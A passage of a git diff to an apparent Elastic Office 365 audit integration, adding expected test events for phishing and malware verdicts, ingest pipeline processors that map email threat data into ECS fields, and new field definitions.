Auth\"}],\"EventDeepLink\":\"https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Phish\",\"Subject\":\"subject\",\"Workload\":\"ThreatIntelligence\",\"Directionality\":\"Inbound\",\"DetectionType\":\"Inline\",\"OriginalDeliveryLocation\":\"JunkFolder\",\"UserId\":\"ThreatIntel\",\"InternetMessageId\":\"\",\"CreationTime\":\"2021-12-31T23:59:59\",\"LatestDeliveryLocation\":\"JunkFolder\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":4}", + "outcome": "success", + "provider": "ThreatIntelligence", + "type": [ + "info" + ] + }, + "host": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + }, + "o365": { + "audit": { + "AuthDetails": [ + { + "Name": "SPF", + "Value": "Pass" + }, + { + "Name": "DKIM", + "Value": "Fail" + }, + { + "Name": "DMARC", + "Value": "Pass" + }, + { + "Name": "Comp Auth", + "Value": "pass" + } + ], + "Connector": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]", + "CreationTime": "2021-12-31T23:59:59", + "DeliveryAction": "Delivered", + "DetectionMethod": "URL detonation reputation", + "DetectionType": "Inline", + "Directionality": "Inbound", + "EventDeepLink": "https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Phish", + "InternetMessageId": "", + "LatestDeliveryLocation": "JunkFolder", + "MessageTime": "2021-12-31T23:59:59", + "NetworkMessageId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "ObjectId": "dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890", + "OriginalDeliveryLocation": "JunkFolder", + "P1Sender": "sender@example.com", + "P2Sender": "sender@example.com", + "PhishConfidenceLevel": "High", + "Recipients": [ + "user@example.com" + ], + "RecordType": "28", + "SenderIp": "81.2.69.144", + "Subject": "subject", + "UserId": "ThreatIntel", + "UserKey": "ThreatIntel", + "UserType": "4", + "Verdict": "Phish", + "Version": "1" + } + }, + "organization": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + }, + "related": { + "ip": [ + "81.2.69.144" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "ThreatIntel" + } + }, + { + "@timestamp": "2021-12-31T23:59:59.000Z", + "ecs": { + "version": "8.11.0" + }, + "email": { + "local_id": [ + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + ], + "message_id": [ + "" + ], + "sender": { + "address": [ + "p1sender@example.com" + ] + }, + "subject": [ + "subject" + ], + "to": { + "address": [ + "user@example.com" + ] + } + }, + "event": { + "action": "TIMailData", + "category": [ + "web" + ], + "code": "ThreatIntelligence", + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "kind": "event", + "original": "{\"Connector\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]\",\"NetworkMessageId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Recipients\":[\"user@example.com\"],\"UserKey\":\"ThreatIntel\",\"PhishConfidenceLevel\":\"Normal\",\"DeliveryAction\":\"Delivered\",\"MessageTime\":\"2021-12-31T23:59:59\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"TIMailData\",\"P2Sender\":\"sender@example.com\",\"RecordType\":28,\"Version\":1,\"Verdict\":\"Phish\",\"SenderIp\":\"81.2.69.144\",\"P1Sender\":\"p1sender@example.com\",\"DetectionMethod\":\"Spoof external domain\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890\",\"AuthDetails\":[{\"Value\":\"Pass\",\"Name\":\"SPF\"},{\"Value\":\"Fail\",\"Name\":\"DKIM\"},{\"Value\":\"Fail\",\"Name\":\"DMARC\"},{\"Value\":\"fail\",\"Name\":\"Comp Auth\"}],\"EventDeepLink\":\"https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Phish\",\"Subject\":\"subject\",\"Workload\":\"ThreatIntelligence\",\"Directionality\":\"Inbound\",\"DetectionType\":\"Inline\",\"OriginalDeliveryLocation\":\"Inbox\",\"UserId\":\"ThreatIntel\",\"InternetMessageId\":\"\",\"CreationTime\":\"2021-12-31T23:59:59\",\"LatestDeliveryLocation\":\"Inbox\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":4}", + "outcome": "success", + "provider": "ThreatIntelligence", + "type": [ + "info" + ] + }, + "host": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + }, + "o365": { + "audit": { + "AuthDetails": [ + { + "Name": "SPF", + "Value": "Pass" + }, + { + "Name": "DKIM", + "Value": "Fail" + }, + { + "Name": "DMARC", + "Value": "Fail" + }, + { + "Name": "Comp Auth", + "Value": "fail" + } + ], + "Connector": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]", + "CreationTime": "2021-12-31T23:59:59", + "DeliveryAction": "Delivered", + "DetectionMethod": "Spoof external domain", + "DetectionType": "Inline", + "Directionality": "Inbound", + "EventDeepLink": "https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Phish", + "InternetMessageId": "", + "LatestDeliveryLocation": "Inbox", + "MessageTime": "2021-12-31T23:59:59", + "NetworkMessageId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "ObjectId": "dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890", + "OriginalDeliveryLocation": "Inbox", + "P1Sender": "p1sender@example.com", + "P2Sender": "sender@example.com", + "PhishConfidenceLevel": "Normal", + "Recipients": [ + "user@example.com" + ], + "RecordType": "28", + "SenderIp": "81.2.69.144", + "Subject": "subject", + "UserId": "ThreatIntel", + "UserKey": "ThreatIntel", + "UserType": "4", + "Verdict": "Phish", + "Version": "1" + } + }, + "organization": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + }, + "related": { + "ip": [ + "81.2.69.144" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "ThreatIntel" + } + }, + { + "@timestamp": "2021-12-31T23:59:59.000Z", + "ecs": { + "version": "8.11.0" + }, + "email": { + "local_id": [ + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + ], + "message_id": [ + "" + ], + "sender": { + "address": [ + "p1sender@example.com" + ] + }, + "subject": [ + "subject" + ], + "to": { + "address": [ + "user@example.com" + ] + } + }, + "event": { + "action": "TIMailData", + "category": [ + "web" + ], + "code": "ThreatIntelligence", + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "kind": "event", + "original": "{\"Policy\":\"Phish\",\"Connector\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]\",\"NetworkMessageId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Recipients\":[\"user@example.com\"],\"UserKey\":\"ThreatIntel\",\"PhishConfidenceLevel\":\"Normal\",\"DeliveryAction\":\"DeliveredAsSpam\",\"Operation\":\"TIMailData\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"MessageTime\":\"2021-12-31T23:59:59\",\"P2Sender\":\"sender@example.com\",\"RecordType\":28,\"Version\":1,\"PolicyAction\":\"MoveToJmf\",\"Verdict\":\"Phish\",\"SenderIp\":\"81.2.69.144\",\"P1Sender\":\"p1sender@example.com\",\"DetectionMethod\":\"URL malicious reputation\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890\",\"AuthDetails\":[{\"Value\":\"Fail\",\"Name\":\"SPF\"},{\"Value\":\"Fail\",\"Name\":\"DKIM\"},{\"Value\":\"None\",\"Name\":\"DMARC\"},{\"Value\":\"none\",\"Name\":\"Comp Auth\"}],\"EventDeepLink\":\"https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Phish\",\"Subject\":\"subject\",\"Workload\":\"ThreatIntelligence\",\"Directionality\":\"Inbound\",\"DetectionType\":\"Inline\",\"OriginalDeliveryLocation\":\"JunkFolder\",\"UserId\":\"ThreatIntel\",\"InternetMessageId\":\"\",\"CreationTime\":\"2021-12-31T23:59:59\",\"LatestDeliveryLocation\":\"JunkFolder\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":4}", + "outcome": "success", + "provider": "ThreatIntelligence", + "type": [ + "info" + ] + }, + "host": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + }, + "o365": { + "audit": { + "AuthDetails": [ + { + "Name": "SPF", + "Value": "Fail" + }, + { + "Name": "DKIM", + "Value": "Fail" + }, + { + "Name": "DMARC", + "Value": "None" + }, + { + "Name": "Comp Auth", + "Value": "none" + } + ], + "Connector": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]", + "CreationTime": "2021-12-31T23:59:59", + "DeliveryAction": "DeliveredAsSpam", + "DetectionMethod": "URL malicious reputation", + "DetectionType": "Inline", + "Directionality": "Inbound", + "EventDeepLink": "https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Phish", + "InternetMessageId": "", + "LatestDeliveryLocation": "JunkFolder", + "MessageTime": "2021-12-31T23:59:59", + "NetworkMessageId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "ObjectId": "dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890", + "OriginalDeliveryLocation": "JunkFolder", + "P1Sender": "p1sender@example.com", + "P2Sender": "sender@example.com", + "PhishConfidenceLevel": "Normal", + "Policy": "Phish", + "PolicyAction": "MoveToJmf", + "Recipients": [ + "user@example.com" + ], + "RecordType": "28", + "SenderIp": "81.2.69.144", + "Subject": "subject", + "UserId": "ThreatIntel", + "UserKey": "ThreatIntel", + "UserType": "4", + "Verdict": "Phish", + "Version": "1" + } + }, + "organization": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + }, + "related": { + "ip": [ + "81.2.69.144" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "ThreatIntel" + } + }, + { + "@timestamp": "2021-12-31T23:59:59.000Z", + "ecs": { + "version": "8.11.0" + }, + "email": { + "local_id": [ + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + ], + "message_id": [ + "" + ], + "sender": { + "address": [ + "sender@example.com" + ] + }, + "subject": [ + "2021-12-31" + ], + "to": { + "address": [ + "user@example.com" + ] + } + }, + "event": { + "action": "TIMailData", + "category": [ + "web" + ], + "code": "ThreatIntelligence", + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "kind": "event", + "original": "{\"Policy\":\"AntiMalware\",\"NetworkMessageId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Recipients\":[\"user@example.com\"],\"UserKey\":\"ThreatIntel\",\"DeliveryAction\":\"Blocked\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"MessageTime\":\"2021-12-31T23:59:59\",\"Operation\":\"TIMailData\",\"P2Sender\":\"sender@example.com\",\"RecordType\":28,\"Version\":1,\"PolicyAction\":\"Quarantine\",\"Verdict\":\"Malware\",\"SenderIp\":\"81.2.69.144\",\"P1Sender\":\"sender@example.com\",\"DetectionMethod\":\"Antimalware protection\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890\",\"AuthDetails\":[{\"Value\":\"None\",\"Name\":\"DKIM\"},{\"Value\":\"None\",\"Name\":\"DMARC\"}],\"EventDeepLink\":\"https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Malware\",\"Subject\":\"2021-12-31\",\"Workload\":\"ThreatIntelligence\",\"Directionality\":\"Intraorg\",\"DetectionType\":\"Inline\",\"OriginalDeliveryLocation\":\"Quarantine\",\"UserId\":\"ThreatIntel\",\"InternetMessageId\":\"\",\"CreationTime\":\"2021-12-31T23:59:59\",\"LatestDeliveryLocation\":\"Quarantine\",\"AttachmentData\":[{\"SHA256\":\"abcdefabcdef12345678901234567890abcdefabcdef12345678901234567890\",\"FileType\":\"eml;mime\",\"FileName\":\"untitled1.eml\",\"MalwareFamily\":\"HTML/Phish.PAZU!MTB\",\"FileVerdict\":\"1\"},{\"SHA256\":\"cccdefabcdef12345678901234567890abcdefabcdef12345678901234567890\",\"FileType\":\"eml;mime\",\"FileName\":\"untitled2.eml\",\"MalwareFamily\":\"HTML/Phish.PAZU!MTB\",\"FileVerdict\":\"2\"}],\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":4}", + "outcome": "success", + "provider": "ThreatIntelligence", + "type": [ + "info" + ] + }, + "host": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + }, + "o365": { + "audit": { + "AttachmentData": [ + { + "FileName": "untitled1.eml", + "FileType": "eml;mime", + "FileVerdict": "1", + "MalwareFamily": "HTML/Phish.PAZU!MTB", + "SHA256": "abcdefabcdef12345678901234567890abcdefabcdef12345678901234567890" + }, + { + "FileName": "untitled2.eml", + "FileType": "eml;mime", + "FileVerdict": "2", + "MalwareFamily": "HTML/Phish.PAZU!MTB", + "SHA256": "cccdefabcdef12345678901234567890abcdefabcdef12345678901234567890" + } + ], + "AuthDetails": [ + { + "Name": "DKIM", + "Value": "None" + }, + { + "Name": "DMARC", + "Value": "None" + } + ], + "CreationTime": "2021-12-31T23:59:59", + "DeliveryAction": "Blocked", + "DetectionMethod": "Antimalware protection", + "DetectionType": "Inline", + "Directionality": "Intraorg", + "EventDeepLink": "https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Malware", + "InternetMessageId": "", + "LatestDeliveryLocation": "Quarantine", + "MessageTime": "2021-12-31T23:59:59", + "NetworkMessageId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "ObjectId": "dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890", + "OriginalDeliveryLocation": "Quarantine", + "P1Sender": "sender@example.com", + "P2Sender": "sender@example.com", + "Policy": "AntiMalware", + "PolicyAction": "Quarantine", + "Recipients": [ + "user@example.com" + ], + "RecordType": "28", + "SenderIp": "81.2.69.144", + "Subject": "2021-12-31", + "UserId": "ThreatIntel", + "UserKey": "ThreatIntel", + "UserType": "4", + "Verdict": "Malware", + "Version": "1" + } + }, + "organization": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + }, + "related": { + "ip": [ + "81.2.69.144" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "ThreatIntel" + } + } + ] +} diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-yammer-events.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-yammer-events.json-expected.json index 3c26e9a6709..a137bd49e12 100644 --- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-yammer-events.json-expected.json +++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-yammer-events.json-expected.json @@ -167,4 +167,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/o365/data_stream/audit/elasticsearch/ingest_pipeline/default.yml b/packages/o365/data_stream/audit/elasticsearch/ingest_pipeline/default.yml index a3c16274159..45ef9707c49 100644 --- a/packages/o365/data_stream/audit/elasticsearch/ingest_pipeline/default.yml +++ b/packages/o365/data_stream/audit/elasticsearch/ingest_pipeline/default.yml @@ -250,6 +250,13 @@ processors: field: o365audit.Parameters target_field: o365audit.Parameters._raw if: 'ctx.o365audit?.Parameters != null && ctx.o365audit?.Parameters instanceof String' + - grok: + field: o365audit.Parameters._raw + if: ctx.o365audit?.NetworkMessageId == null || ctx.o365audit.NetworkMessageId == '' + patterns: + - '^-?Identity\s"?%{DATA:o365audit.NetworkMessageId}"?$' + ignore_missing: true + ignore_failure: true - script: if: ctx.o365audit?.Platform != null lang: painless @@ -1116,6 +1123,13 @@ processors: field: o365audit.UserType type: string ignore_missing: true + - set: + field: event.provider + description: UserType contains info about event.provider and not user. Populate event.provider if not already present. + value: "{{{o365audit.UserType}}}" + if: ctx.event?.provider == null && ctx.o365audit?.UserType != null && ctx.o365audit.UserType != '' + tag: set_event_provider + ignore_empty_value: true - foreach: field: o365audit.Actor if: ctx.o365audit?.Actor instanceof List @@ -1154,6 +1168,88 @@ processors: field: o365audit.YammerNetworkId type: string ignore_missing: true + - append: + field: email.message_id + value: "{{{o365audit.InternetMessageId}}}" + if: ctx.o365audit?.InternetMessageId != null && ctx.o365audit.InternetMessageId != '' + tag: append_email_message_id_1 + allow_duplicates: false + - append: + field: email.local_id + value: "{{{o365audit.NetworkMessageId}}}" + if: ctx.o365audit?.NetworkMessageId != null && ctx.o365audit.NetworkMessageId != '' + tag: append_email_local_id_1 + allow_duplicates: false + - append: + field: email.sender.address + value: "{{{o365audit.P1Sender}}}" + if: ctx.o365audit?.P1Sender != null && ctx.o365audit.P1Sender != '' + tag: append_email_sender_address_1 + allow_duplicates: false + - set: + field: email.to.address + copy_from: o365audit.Recipients + if: ctx.o365audit?.Recipients instanceof List && ctx.o365audit.Recipients.length > 0 + tag: set_email_to_address_1 + ignore_empty_value: true + - append: + field: related.ip + value: "{{{o365audit.SenderIp}}}" + allow_duplicates: false + if: ctx.o365audit?.SenderIp != null && ctx.o365audit.SenderIp != '' + - append: + field: related.ip + value: "{{{o365audit.SenderIP}}}" + allow_duplicates: false + if: ctx.o365audit?.SenderIP != null && ctx.o365audit.SenderIP != '' + - append: + field: email.subject + value: "{{{o365audit.Subject}}}" + if: ctx.o365audit?.Subject != null && ctx.o365audit.Subject != '' + tag: append_email_subject_1 + allow_duplicates: false + - date: + field: o365audit.EndTimeUtc + target_field: o365audit.EndTimeUtc + tag: date_EndTimeUtc + formats: + - ISO8601 + if: ctx.o365audit?.EndTimeUtc != null + - date: + field: o365audit.LastUpdateTimeUtc + target_field: o365audit.LastUpdateTimeUtc + tag: date_LastUpdateTimeUtc + formats: + - ISO8601 + if: ctx.o365audit?.LastUpdateTimeUtc != null + - date: + field: o365audit.StartTimeUtc + target_field: o365audit.StartTimeUtc + tag: date_StartTimeUtc + formats: + - ISO8601 + if: ctx.o365audit?.StartTimeUtc != null + - date: + field: o365audit.StartTime + target_field: o365audit.StartTime + tag: date_StartTime + formats: + - ISO8601 + if: ctx.o365audit?.StartTime != null + - date: + field: o365audit.FilteringDate + target_field: o365audit.FilteringDate + tag: date_FilteringDate + formats: + - ISO8601 + if: ctx.o365audit?.FilteringDate != null + - date: + field: o365audit.RescanResult.Timestamp + target_field: o365audit.RescanResult.Timestamp + tag: date_RescanResult.Timestamp + formats: + - ISO8601 + if: ctx.o365audit?.RescanResult?.Timestamp != null - gsub: field: o365audit.Data pattern: ',\"QueryTime\":\"[0-9\/]+\s[0-9]+:[0-9]+:[0-9]+\s[AP]M\"|\"QueryTime\":\"[0-9\/]+\s[0-9]+:[0-9]+:[0-9]+\s[AP]M\",' @@ -1175,6 +1271,7 @@ processors: - script: description: Copy known Data fields to their explicity mapped locations lang: painless + tag: script_known_Data if: 'ctx.o365audit?.Data?.flattened instanceof Map' source: > def knownKeys = ['ad', 'af', 'aii', 'ail', 'alk', 'als', 'an', 'at', @@ -1228,21 +1325,186 @@ processors: value: "{{{o365audit.Data.f3u}}}" allow_duplicates: false if: ctx.o365audit?.Data?.f3u?.splitOnToken('@')?.length == 2 && ctx.o365audit.Data.f3u.length() >= 3; + - set: + field: user.email + value: "{{{o365audit.Data.f3u}}}" + if: ctx.user?.email == null && ctx.o365audit?.Data?.f3u?.splitOnToken('@')?.length == 2 && ctx.o365audit.Data.f3u.length() >= 3; + tag: set_user_email + ignore_empty_value: true - append: field: related.user value: "{{{o365audit.Data.suid}}}" allow_duplicates: false if: ctx.o365audit?.Data?.suid?.splitOnToken('@')?.length == 2 && ctx.o365audit.Data.suid.length() >= 3; + - append: + field: email.sender.address + value: "{{{o365audit.Data.tsd}}}" + if: ctx.o365audit?.Data?.tsd != null && ctx.o365audit.Data.tsd != '' + tag: append_email_sender_address_2 + allow_duplicates: false - append: field: related.user value: "{{{o365audit.Data.tsd}}}" allow_duplicates: false if: ctx.o365audit?.Data?.tsd?.splitOnToken('@')?.length == 2 && ctx.o365audit.Data.tsd.length() >= 3; + - append: + field: email.to.address + value: "{{{o365audit.Data.trc}}}" + if: ctx.o365audit?.Data?.trc != null && ctx.o365audit.Data.trc != '' + tag: append_email_to_address + allow_duplicates: false - append: field: related.user value: "{{{o365audit.Data.trc}}}" allow_duplicates: false if: ctx.o365audit?.Data?.trc?.splitOnToken('@')?.length == 2 && ctx.o365audit.Data.trc.length() >= 3; + - append: + field: email.local_id + value: "{{{o365audit.Data.aii}}}" + if: ctx.o365audit?.Data?.aii != null && ctx.o365audit.Data.aii != '' + tag: append_email_local_id_2 + allow_duplicates: false + - append: + field: email.message_id + value: "{{{o365audit.Data.imsgid}}}" + if: ctx.o365audit?.Data?.imsgid != null && ctx.o365audit.Data.imsgid != '' + tag: append_email_message_id_2 + allow_duplicates: false + - append: + field: email.subject + value: "{{{o365audit.Data.ms}}}" + if: ctx.o365audit?.Data?.ms != null && ctx.o365audit.Data.ms != '' + tag: append_email_subject_2 + allow_duplicates: false + - script: + description: Parse known fields from Data.Entities into _tmp.entities to later extract into ECS. + lang: painless + tag: script_known_Data.Entities + if: ctx.o365audit?.Data?.flattened?.Entities instanceof List + source: > + ctx._tmp = [:]; + ctx._tmp.entities = [:]; + def knownEntityKeys = ['InternetMessageId', 'NetworkMessageId', 'OriginalDeliveryLocation', + 'P1Sender', 'P2Sender', 'PhishConfidenceLevel', 'Recipient', 'SenderIP', 'Subject', + 'ThreatDetectionMethods', 'Upn']; + for (def entity: ctx.o365audit.Data.flattened.Entities) { + if (entity instanceof Map) { + for (def key : knownEntityKeys) { + if (! ctx._tmp.entities.containsKey(key)) { + ctx._tmp.entities[key] = []; + } + if (entity.containsKey(key)) { + ctx._tmp.entities[key].add(entity[key]); + } + } + } + } + # Extract _tmp.entities into ECS fields + - foreach: + field: _tmp.entities.InternetMessageId + if: ctx._tmp?.entities?.InternetMessageId instanceof List + processor: + append: + field: email.message_id + value: "{{{_ingest._value}}}" + tag: append_entities.InternetMessageId_email.message_id + allow_duplicates: false + - foreach: + field: _tmp.entities.NetworkMessageId + if: ctx._tmp?.entities?.NetworkMessageId instanceof List + processor: + append: + field: email.local_id + value: "{{{_ingest._value}}}" + tag: append_entities.NetworkMessageId_email.local_id + allow_duplicates: false + - foreach: + field: _tmp.entities.P1Sender + if: ctx._tmp?.entities?.P1Sender instanceof List + processor: + append: + field: email.sender.address + value: "{{{_ingest._value}}}" + tag: append_entities.P1Sender_email.sender.address + allow_duplicates: false + - foreach: + field: _tmp.entities.P2Sender + if: ctx._tmp?.entities?.P2Sender instanceof List + processor: + append: + field: email.from.address + value: "{{{_ingest._value}}}" + tag: append_entities.P2Sender_email.from.address + allow_duplicates: false + - foreach: + field: _tmp.entities.Recipient + if: ctx._tmp?.entities?.Recipient instanceof List + processor: + append: + field: email.to.address + value: "{{{_ingest._value}}}" + tag: append_entities.Recipient_email.to.address + allow_duplicates: false + - set: + field: user.email + copy_from: _tmp.entities.Recipient + if: ctx.user?.email == null && ctx._tmp?.entities?.Recipient instanceof List && ctx._tmp.entities.Recipient.length > 0 + ignore_empty_value: true + - foreach: + field: _tmp.entities.SenderIP + if: ctx._tmp?.entities?.SenderIP instanceof List + processor: + append: + field: related.ip + value: "{{{_ingest._value}}}" + tag: append_entities.SenderIP_related.ip + allow_duplicates: false + - foreach: + field: _tmp.entities.Subject + if: ctx._tmp?.entities?.Subject instanceof List + processor: + append: + field: email.subject + value: "{{{_ingest._value}}}" + tag: append_entities.Subject_email.subject + allow_duplicates: false + - foreach: + field: _tmp.entities.Upn + if: ctx._tmp?.entities?.Upn instanceof List + processor: + append: + field: related.user + value: "{{{_ingest._value}}}" + tag: append_entities.Upn_related.user + allow_duplicates: false + - rename: + field: _tmp.entities.OriginalDeliveryLocation + target_field: o365audit.OriginalDeliveryLocation + tag: rename_entities.OriginalDeliveryLocation + ignore_missing: true + - rename: + field: _tmp.entities.PhishConfidenceLevel + target_field: o365audit.PhishConfidenceLevel + tag: rename_entities.PhishConfidenceLevel + ignore_missing: true + - script: + description: Handle _tmp.entities.ThreatDetectionMethods containing list of lists. + lang: painless + tag: script_tmp.entities.ThreatDetectionMethods + if: ctx._tmp?.entities?.ThreatDetectionMethods instanceof List + source: > + def methods = ctx._tmp.entities.ThreatDetectionMethods; + def result = []; + for (def method: methods){ + if (method instanceof List) { + for (def m: method) { + result.add(m); + } + } else if (method instanceof String) { + result.add(method); + } + } + ctx.o365audit.ThreatDetectionMethods = result; - rename: field: o365audit target_field: o365.audit @@ -1275,7 +1537,34 @@ processors: - remove: field: - _conf + - _tmp ignore_missing: true + - script: + description: Drops null/empty values recursively. + lang: painless + source: | + boolean dropEmptyFields(Object object) { + if (object == null || object == '') { + return true; + } else if (object instanceof Map) { + ((Map) object).values().removeIf(value -> dropEmptyFields(value)); + return (((Map) object).size() == 0); + } else if (object instanceof List) { + ((List) object).removeIf(value -> dropEmptyFields(value)); + return (((List) object).length == 0); + } + return false; + } + dropEmptyFields(ctx); + - set: + field: event.kind + value: pipeline_error + if: ctx.error?.message != null + - append: + field: tags + value: preserve_original_event + allow_duplicates: false + if: ctx.error?.message != null on_failure: - set: field: event.kind @@ -1286,4 +1575,7 @@ on_failure: allow_duplicates: false - append: field: error.message - value: '{{{ _ingest.on_failure_message }}}' + value: >- + Processor '{{{ _ingest.on_failure_processor_type }}}' + {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}' + {{{/_ingest.on_failure_processor_tag}}}failed with message '{{{ _ingest.on_failure_message }}}' diff --git a/packages/o365/data_stream/audit/fields/fields.yml b/packages/o365/data_stream/audit/fields/fields.yml index 904f2a980f1..c3f97bd6ec2 100644 --- a/packages/o365/data_stream/audit/fields/fields.yml +++ b/packages/o365/data_stream/audit/fields/fields.yml @@ -1,6 +1,10 @@ - name: o365.audit type: group fields: + - name: AadAppId + type: keyword + - name: Actions + type: flattened - name: Activity type: keyword - name: Actor @@ -18,10 +22,21 @@ type: keyword - name: ActorYammerUserId type: keyword + - name: AdditionalData + type: nested + fields: + - name: Name + type: keyword + - name: Value + type: keyword - name: AdditionalInfo.* type: object object_type: keyword object_type_mapping_type: '*' + - name: AirAdminActionSource + type: keyword + - name: AirAdminActionType + type: keyword - name: AlertEntityId type: keyword - name: AlertId @@ -40,37 +55,54 @@ type: keyword - name: ApplicationId type: keyword - - name: AzureActiveDirectoryEventType + - name: Approver type: keyword - - name: ExchangeMetaData - type: group + - name: AttachmentData + type: nested fields: - - name: CC + - name: FileName type: keyword - - name: MessageID + - name: FileType type: keyword - - name: Sent - type: date - - name: To + - name: FileVerdict type: keyword - - name: UniqueID + - name: MalwareFamily type: keyword - - name: "*" - type: long + - name: SHA256 + type: keyword + - name: AuthDetails + type: nested + fields: + - name: Name + type: keyword + - name: Value + type: keyword + - name: AzureActiveDirectoryEventType + type: keyword + - name: BCLValue + type: keyword + - name: BulkApprovalId + type: keyword - name: Category type: keyword - name: ClientAppId type: keyword - - name: ClientInfoString + - name: ClientApplication type: keyword - name: ClientIP type: keyword - name: ClientIPAddress type: keyword + - name: ClientInfoString + type: keyword - name: ClientRequestId type: keyword + - name: CmdletVersion + type: keyword - name: Comments type: text + - name: Connector + type: keyword - name: CorrelationId type: keyword - name: CreationTime @@ -203,12 +235,32 @@ type: keyword - name: DataType type: keyword + - name: DatabaseType + type: keyword + - name: DeepLinkUrl + type: keyword + - name: DeliveryAction + type: keyword + - name: Description + type: match_only_text + - name: DetectionMethod + type: keyword + - name: DetectionType + type: keyword + - name: Directionality + type: keyword + - name: EffectiveOrganization + type: keyword + - name: EndTimeUtc + type: date - name: EntityType type: keyword - name: ErrorNumber type: keyword - name: EventData type: keyword + - name: 